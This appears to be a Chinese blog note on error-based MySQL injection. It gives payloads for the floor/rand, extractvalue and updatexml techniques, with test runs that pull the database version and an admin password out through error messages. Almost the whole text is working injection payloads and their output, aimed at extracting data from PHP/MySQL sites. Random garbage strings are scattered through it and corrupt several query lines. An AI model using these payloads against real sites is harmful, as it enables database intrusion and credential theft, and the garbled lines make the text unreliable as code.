关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​
; C" s* _" d# l  u9 F
mysql> show tables;
+----------------+
" P0 V  O. d$ E* t| Tables_in_test |
. o3 M) O0 F$ I+ P+----------------+
: S2 [, q; Y1 t; c# ~9 m+ o| admin          |
5 _3 h" e" }# a! s| article        |
+----------------+
; D; p9 t; Y6 E) I* r


mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
/ f; i# q! ?" d7 p; x( S| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
& U7 P1 o! P' o# c| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
# p" i5 p+ }5 L. e$ ~+-------+------------------+------+-----+---------+----------------+



mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
/ x6 C; f+ e; G1 f: j7 N! j% l| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
+ Y; {$ O9 g/ T+ R  ^+ d| title   | varchar(50)      | NO   |     | NULL    |                |
1 Q8 Q1 |& T$ B5 \9 ?( j| content | varchar(50)      | NO   |     | NULL    |                |
" n7 S& }3 @+ o: |; W; O$ T" t+---------+------------------+------+-----+---------+----------------+
& f# D& G" M; R& I: ]2 A" a) v+ Q1、通过floor报错
可以通过如下一些利用代码
9 a; u0 Q; U) D. |2 P" K' _  G( i4 G

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

  z+ ~, S/ {; X; i' I& Z
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
3 ~6 y; R1 Q: p) E- Qfloor(rand(0)*2)));
* l, K4 C1 _# C0 L* N+ }举例如下：
首先进行正常查询：
1 Q. Z1 x3 Y, X! }- l2 t
  B: W$ K/ l* Y5 X5 d9 u5 |mysql> select * from article where id = 1;
9 \$ R" b" r! |+----+-------+---------+
| id | title | content |
* ^2 U9 T: ?2 l$ @+ ^( M+----+-------+---------+
# u' e0 z0 h& R4 W4 [* w8 `  @|  1 | test  | do it   |
$ g9 ^6 L7 y1 q+----+-------+---------+
. w- q4 w% h/ c* Y6 M! f' R8 m假如id输入存在注入的话，可以通过如下语句进行报错。
- A0 h8 k; \* H1 S9 g

0 \/ Q% U# w5 a7 A" c9 C6 _mysql> select * from article where id = 1 and (select 1 from
: Q8 D4 V6 e) m0 H(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# b* g  t! [% t) o5 yERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
( |5 t8 f3 k" _3 A可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
& J$ H& f8 W% A  l% O7 z4 ?! KMethod1:


  y6 g# j8 m: v% D# d; ~mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
$ c* f& p/ A' Z' L) y3 o* GERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:


mysql> select * from article where id = 1 and (select count(*)
/ R4 ?+ z  o& Y' ?7 y; ?1 }) a4 e9 r# Zfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
! p( q/ Z, O, C: G* bfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- [, [1 x+ ?& l- N- s3 {* ~8 C2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- t9 O' I4 i7 Z8 Q* C& t. r0 i实际测试过程
- d1 n5 a6 `8 _: T/ x, v( _: M

" {! j& o# s% V  x# F+ G& [# h9 omysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
) x3 R0 p4 N% _9 f6 T(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
, {4 K4 e, U! Q  U# {/ O' @测试语句
7 y4 a0 h8 j9 M" J
; ~; ]9 F  ^( a
$ F- m0 t% ^) T$ ^& O! ]" P% wand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
, }* M6 F) A" d1 k5 f- l( j5 G(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
' m5 Z  U/ v2 G& E
​